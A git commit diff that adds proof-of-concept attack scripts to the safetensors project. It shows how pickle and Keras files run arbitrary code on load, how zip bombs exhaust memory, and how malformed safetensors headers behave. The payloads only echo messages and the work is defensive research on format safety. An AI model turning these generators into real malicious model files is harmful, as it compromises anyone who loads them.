]> khamidou — GitHub mirrors - safetensors.git/commitdiff
Creating a few range of attacks against classic formats. (#25)
authorNicolas Patry <patry.nicolas@protonmail.com>
Thu, 20 Oct 2022 15:18:28 +0000 (17:18 +0200)
committerGitHub <noreply@github.com>
Thu, 20 Oct 2022 15:18:28 +0000 (17:18 +0200)
- pickle (ACE affecting PT)
- zip (Denial of Service affecting numpy + PT)
- marshal (affecting Keras, not directly in the h5 file format)

- Created 8 proposals to abuse the current format.
  Found 2 kind of flaws that could also cause some form of denial of
  service). PRs coming up.

13 files changed:
.gitignore
attacks/README.md [new file with mode: 0644]
attacks/numpy_dos_create.py [new file with mode: 0644]
attacks/numpy_dos_get_pwned.py [new file with mode: 0644]
attacks/safetensors_abuse_attempt_1.py [new file with mode: 0644]
attacks/safetensors_abuse_attempt_2.py [new file with mode: 0644]
attacks/safetensors_abuse_attempt_3.py [new file with mode: 0644]
attacks/tf_ace_create.py [new file with mode: 0644]
attacks/tf_ace_get_pwned.py [new file with mode: 0644]
attacks/torch_ace_create.py [new file with mode: 0644]
attacks/torch_ace_get_pwned.py [new file with mode: 0644]
attacks/torch_dos_create.py [new file with mode: 0644]
attacks/torch_dos_get_pwned.py [new file with mode: 0644]

index 24a965d35e4a14c028308b8bc5faf2033f5e82cb..df8ad35a272bdab1b27bcaf9d06bdc262f44575e 100644 (file)
@@ -3,3 +3,6 @@ Cargo.lock
 *.bin
 *.h5
 *.msgpack
+*.pt
+*.safetensors
+*.npz
diff --git a/attacks/README.md b/attacks/README.md
new file mode 100644 (file)
index 0000000..0eee34c
--- /dev/null
@@ -0,0 +1,59 @@
+The purpose of this directory is to showcase various attacks (and creating your own).
+
+
+# Torch Arbitrary code execution
+
+Try it out. This will create a seemingly innocuous `torch_ace.pt` file.
+```
+python torch_ace_create.py
+python torch_ace_get_pwned.py
+```
+
+# Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`)
+
+Try it out. This will create a seemingly innocuous `tf_ace.h5` file.
+```
+python tf_dos_create.py
+python tf_dos_get_pwned.py
+```
+
+# Torch Denial of Service (OOM kills the running process)
+
+Try it out. This will create a seemingly innocuous `torch_dos.pt` file.
+```
+python torch_dos_create.py
+python torch_dos_get_pwned.py
+```
+
+# Numpy Denial of Service (OOM kills the running process)
+
+Try it out. This will create a seemingly innocuous `numpy_dos.npz` file.
+```
+python numpy_dos_create.py
+python numpy_dos_get_pwned.py
+```
+
+# Safetensors abuse attempts
+
+In order to try and check the limits, we also try to abuse the current format.
+Please ssend ideas !
+
+A few things can be abused:
+- Proposal 1: The initial 8 bytes, which could be too big with regards to the file. This crashes, and crashes early (Out of bounds) (Attempt #1).
+- Proposal 2: The initial header is JSON, an attacker could use a 4Go JSON file to delay the loads. Debattable how much of an attack this is, but at least 
+  it's impossible to "bomb" (like the DOS attacks above) where the files are vastly smaller than their expanded version (because of zip abuse).
+  Various "protections" could be put in place, like a header proportion cap (header should always be <<< of the size of the file). (Attempt #2)
+- Proposal 3: The offsets could be negative, out of the file. This is all crashing by default.
+- Proposal 4: The offsets could overlap. ~~This is actually OK.~~ This is NOT ok.
+                While testing Proposal 2, I realized that the tensors themselves where all allocated, and gave me an idea for a DOS exploit where you would have a relatively small
+                file a few megs tops, but defining many tensors on the same overlapping part of the file, it was essentially a DOS attack. The mitigation is rather simple, we sanitize the fact
+                that the offsets must be contiguous and non overlapping.
+- Proposal 5: The offsets could mismatch the declared shapes + dtype. This validated against.
+- Proposal 6: The file being mmaped could be modified while it's opened (attacker has access to your filesystem, seems like you're already pwned).
+- Proposal 7: serde JSON deserialization abuse (nothing so far: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=serde). It doesn't mean there isn't a flaw. Same goes for the actual rust compiled binary.
+
+```
+python safetensors_abuse_attempt_1.py
+python safetensors_abuse_attempt_2.py
+python safetensors_abuse_attempt_3.py
+```
diff --git a/attacks/numpy_dos_create.py b/attacks/numpy_dos_create.py
new file mode 100644 (file)
index 0000000..350f6b6
--- /dev/null
@@ -0,0 +1,10 @@
+from zipfile import ZIP_DEFLATED, ZipFile
+
+FILESIZE = 40 * 1000  # 40 Go
+BUFFER = b"\0" * 1000 * 1000  # 1Mo
+
+outfilename = "numpy_dos.npz"
+with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
+    with outzip.open("weights.npy", "w", force_zip64=True) as f:
+        for i in range(FILESIZE):
+            f.write(BUFFER)
diff --git a/attacks/numpy_dos_get_pwned.py b/attacks/numpy_dos_get_pwned.py
new file mode 100644 (file)
index 0000000..200de06
--- /dev/null
@@ -0,0 +1,15 @@
+import os
+
+import numpy as np
+
+filename = "numpy_dos.npz"
+
+print(
+    f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
+)
+print("Be careful this might crash your computer by reserving way too much RAM")
+input("Press Enter to continue")
+archive = np.load(filename)
+weights = archive["weight"]
+assert np.allclose(weights, np.zeros((2, 2)))
+print("The file looks fine !")
diff --git a/attacks/safetensors_abuse_attempt_1.py b/attacks/safetensors_abuse_attempt_1.py
new file mode 100644 (file)
index 0000000..7b845c4
--- /dev/null
@@ -0,0 +1,21 @@
+import torch
+from safetensors.torch import load_file, save_file
+
+filename = "safetensors_abuse_attempt_1.safetensors"
+
+
+def create_payload():
+    weights = {"weight": torch.zeros((2, 2))}
+    save_file(weights, filename)
+
+    with open(filename, "r+b") as f:
+        f.seek(0)
+        # Now the header claims 2**32 - xx even though the file is small
+        n = 1000
+        n_bytes = n.to_bytes(8, "little")
+        f.write(n_bytes)
+
+
+create_payload()
+# This properly crashes with an out of bounds exception.
+test = load_file(filename)
diff --git a/attacks/safetensors_abuse_attempt_2.py b/attacks/safetensors_abuse_attempt_2.py
new file mode 100644 (file)
index 0000000..448ff06
--- /dev/null
@@ -0,0 +1,33 @@
+import datetime
+import json
+import os
+
+from safetensors.torch import load_file
+
+filename = "safetensors_abuse_attempt_2.safetensors"
+
+
+def create_payload():
+    shape = [2, 2]
+    n = shape[0] * shape[1] * 4
+
+    metadata = {
+        f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 1000 * 10)
+    }
+
+    binary = json.dumps(metadata).encode("utf-8")
+    n = len(binary)
+    n_header = n.to_bytes(8, "little")
+
+    with open(filename, "wb") as f:
+        f.write(n_header)
+        f.write(binary)
+        f.write(b"\0" * n)
+
+
+create_payload()
+
+print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
+start = datetime.datetime.now()
+test = load_file(filename)
+print(f"Loading the file took {datetime.datetime.now() - start}")
diff --git a/attacks/safetensors_abuse_attempt_3.py b/attacks/safetensors_abuse_attempt_3.py
new file mode 100644 (file)
index 0000000..43cbe97
--- /dev/null
@@ -0,0 +1,30 @@
+import datetime
+import json
+import os
+
+from safetensors.torch import load_file
+
+filename = "safetensors_abuse_attempt_2.safetensors"
+
+
+def create_payload():
+    shape = [200, 200]
+    n = shape[0] * shape[1] * 4
+
+    metadata = {f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 100)}
+
+    binary = json.dumps(metadata).encode("utf-8")
+    n = len(binary)
+    n_header = n.to_bytes(8, "little")
+
+    with open(filename, "wb") as f:
+        f.write(n_header)
+        f.write(binary)
+        f.write(b"\0" * n)
+
+
+create_payload()
+print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
+start = datetime.datetime.now()
+test = load_file(filename)
+print(f"Loading the file took {datetime.datetime.now() - start}")
diff --git a/attacks/tf_ace_create.py b/attacks/tf_ace_create.py
new file mode 100644 (file)
index 0000000..d9a374a
--- /dev/null
@@ -0,0 +1,21 @@
+import tensorflow as tf
+
+
+def exec_(*args, **kwargs):
+    import os
+
+    os.system('echo "########################################\nI own you.\n########################################"')
+    return 10
+
+
+num_classes = 10
+input_shape = (28, 28, 1)
+
+model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
+
+
+###
+# model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+model.save("tf_ace.h5")
+###
diff --git a/attacks/tf_ace_get_pwned.py b/attacks/tf_ace_get_pwned.py
new file mode 100644 (file)
index 0000000..4c4b88b
--- /dev/null
@@ -0,0 +1,16 @@
+import base64
+import json
+
+import h5py
+import tensorflow as tf
+
+new_model = tf.keras.models.load_model("tf.h5")
+
+print("Transformers is not vulnerable to this, as it uses h5 directly.")
+print("Keras uses a pickled code of the function within the `h5` attrs of the file")
+print("Let's show you the marshalled code")
+
+with h5py.File("tf_ace.h5") as f:
+    data = json.loads(f.attrs["model_config"])
+    print(base64.b64decode(data["config"]["layers"][-1]["config"]["function"][0]))
+    pass
diff --git a/attacks/torch_ace_create.py b/attacks/torch_ace_create.py
new file mode 100644 (file)
index 0000000..d80acba
--- /dev/null
@@ -0,0 +1,25 @@
+import torch
+
+
+class BadDict(dict):
+    def __init__(self, src: str, **kwargs):
+        super().__init__(**kwargs)
+        self.src = src
+
+    def __reduce__(self):
+        return (
+            eval,
+            (f"os.system('{self.src}') or dict()",),
+            None,
+            None,
+            iter(self.items()),
+        )
+
+
+torch.save(
+    BadDict(
+        'echo "pwned your computer, I can do anything I want."',
+        **{"weight": torch.zeros((2, 2))},
+    ),
+    "torch_ace.pt",
+)
diff --git a/attacks/torch_ace_get_pwned.py b/attacks/torch_ace_get_pwned.py
new file mode 100644 (file)
index 0000000..e4780a6
--- /dev/null
@@ -0,0 +1,6 @@
+import torch
+
+weights = torch.load("torch_ace.pt")
+assert list(weights.keys()) == ["weight"]
+assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
+print("The file looks fine !")
diff --git a/attacks/torch_dos_create.py b/attacks/torch_dos_create.py
new file mode 100644 (file)
index 0000000..c560415
--- /dev/null
@@ -0,0 +1,22 @@
+import os
+from zipfile import ZIP_DEFLATED, ZipFile
+
+import torch
+
+FILESIZE = 40 * 1000  # 40 Go
+BUFFER = b"\0" * 1000 * 1000  # 1 Mo
+
+filename = "torch_dos_tmp.pt"
+torch.save({"weight": torch.zeros((2, 2))}, filename)
+
+
+with ZipFile(filename, "r") as torch_zip:
+    outfilename = "torch_dos.pt"
+    with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
+        outzip.writestr("archive/data.pkl", torch_zip.open("archive/data.pkl").read())
+        outzip.writestr("archive/version", torch_zip.open("archive/version").read())
+        with outzip.open("archive/data/0", "w", force_zip64=True) as f:
+            for i in range(FILESIZE):
+                f.write(BUFFER)
+
+os.remove(filename)
diff --git a/attacks/torch_dos_get_pwned.py b/attacks/torch_dos_get_pwned.py
new file mode 100644 (file)
index 0000000..7ea82b2
--- /dev/null
@@ -0,0 +1,15 @@
+import os
+
+import torch
+
+filename = "torch_dos.pt"
+
+print(
+    f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
+)
+print("Be careful this might crash your computer by reserving way too much RAM")
+input("Press Enter to continue")
+weights = torch.load(filename)
+assert list(weights.keys()) == ["weight"]
+assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
+print("The file looks fine !")